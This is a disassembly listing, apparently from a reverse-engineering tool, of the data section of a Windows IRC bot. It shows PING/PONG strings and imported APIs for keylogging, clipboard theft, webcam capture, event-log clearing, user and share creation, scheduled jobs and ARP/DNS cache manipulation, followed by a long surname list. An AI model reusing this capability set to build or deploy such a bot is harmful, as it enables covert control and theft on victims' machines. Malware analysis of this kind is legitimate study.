; char aPongS[]
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
; char aPing[]
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177D0+50o
		align 10h
; char Delim[]
Delim:					; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DAEo
		unicode	0, <!>,0
; char asc_42D124[]
asc_42D124:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Do ...
		unicode	0, < >,0
; char SubStr[]
SubStr		db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402602o
		align 4
; char aSSS_1[]
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A73+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B13+C7Fo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B13+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B13:loc_40A77Do
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B13+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B13+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B13+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B13+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B13+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B13+BD9o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B13:loc_40A6DFo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B13+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B13+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B13:loc_40A695o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B13+B3Do
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B13+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B13+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B13+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B13:loc_40A621o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B13+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B13+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B13:loc_40A5D7o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B13+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B13+A87o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B13:loc_40A58Do
		align 10h
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B13+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B13+9ECo
					; sub_4185A5+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B13+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B13+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B13+9C5o
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B13+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B13+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B13+99Eo
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B13+991o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B13+984o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B13+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B13+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B13:loc_40A471o
					; sub_4185A5+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B13+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B13+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B13+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B13:loc_40A412o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B13+8D2o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B13+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B13+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B13+846o
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B13+839o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B13+82Co
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B13+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B13+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B13+805o
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B13+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B13+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B13:loc_40A2F2o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B13+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B13+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B13+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B13+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B13+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B13+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B13+658o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409B13+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B13+63Eo
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409B13+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B13+629o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B13+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B13+60Ao
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409B13+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B13+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B13+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B13+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409B13+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B13+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B13+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_409B13+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B13+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B13+57Bo
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B13+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B13+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B13+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B13+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B13+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B13+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B13+525o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B13+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B13+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B13+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B13+487o
		align 10h
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B13+47Ao
		align 10h
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B13+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B13+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B13+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B13+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B13+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B13:loc_409F40o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B13:loc_409F18o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B13+3ADo
		align 10h
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B13+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B13+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B13+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B13+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B13+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B13+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B13:loc_409E6Ao
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B13+327o
		align 10h
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B13+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B13:loc_409E25o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B13+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B13+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B13+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B13+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B13+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B13+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B13+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B13+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B13:loc_409D72o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B13+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B13+20Do
		align 10h
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B13+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B13:loc_409D0Bo
		align 10h
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B13+1A0o
		align 10h
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B13+193o
		align 10h
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B13+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B13+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B13+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B13+15Fo
		align 10h
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B13+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B13+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B13:loc_409C48o
					; ___crtMessageBoxA+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B13:loc_409C1Bo
		align 10h
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B13+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B13+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B13+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B13+79o
		align 10h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B13+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B13+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B13+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B13+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B13+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B13+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B13+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B13+Ao
		align 4
; char asc_42DA28[]
asc_42DA28	db '-'                  ; DATA XREF: sub_40A7CF+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
; char aAvicap32_dllFa[]
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+2CCo
		align 4
; char aOdbc32_dllFail[]
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+298o
; char aShell32_dllFai[]
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+264o
		align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+230o
		align 10h
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1FCo
		align 4
; char aDnsapi_dllFail[]
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+1C8o
; char aNetapi32_dllFa[]
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+194o
		align 10h
; char aIcmp_dllFailed[]
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+160o
		align 4
; char aWininet_dllFai[]
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+12Co
		align 4
; char aWs2_32_dllFail[]
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+F8o
; char aGdi32_dllFaile[]
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+C4o
		align 4
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+90o
		align 10h
; char aUser32_dllFail[]
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+5Co
; char aKernel32_dllFa[]
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CF+28o
		align 4
; char a__0[]
a__0:					; DATA XREF: sub_40D99C+10o
					; sub_40F96B+252o
		unicode	0, <.>,0
unk_42DBB8	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40ABF1o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
; char asc_42DBE8[]
asc_42DBE8	db '-'                  ; DATA XREF: sub_40AB32:loc_40ABBFo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DC18	db  2Dh	; -		; DATA XREF: sub_40AB32:loc_40AB8Bo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
; char asc_42DC3C[]
asc_42DC3C	db '-'                  ; DATA XREF: sub_40AB32+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
; char aD_D_D_D[]
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC10+46o
					; sub_40BFEC+38o ...
		align 8
aReal		db 'real',0
		align 10h
		dd 0
dword_42DC84	dd 0			; DATA XREF: sub_40B08E+7o
off_42DC88	dd offset sub_40ACB6	; DATA XREF: sub_40B08E+49r
aConst		db 'const',0
		align 8
		dd 1, 40AD23h, 7474656Ch, 7265h, 0
		dd 2, 40AD81h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCEh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Ch, 736Fh, 2	dup(0)
		dd 5, 40AEE1h
off_42DCF0	dd offset aAbdulrazak	; DATA XREF: sub_40ACB6+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCFC	dd offset aAddison	; DATA XREF: sub_40B08E+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
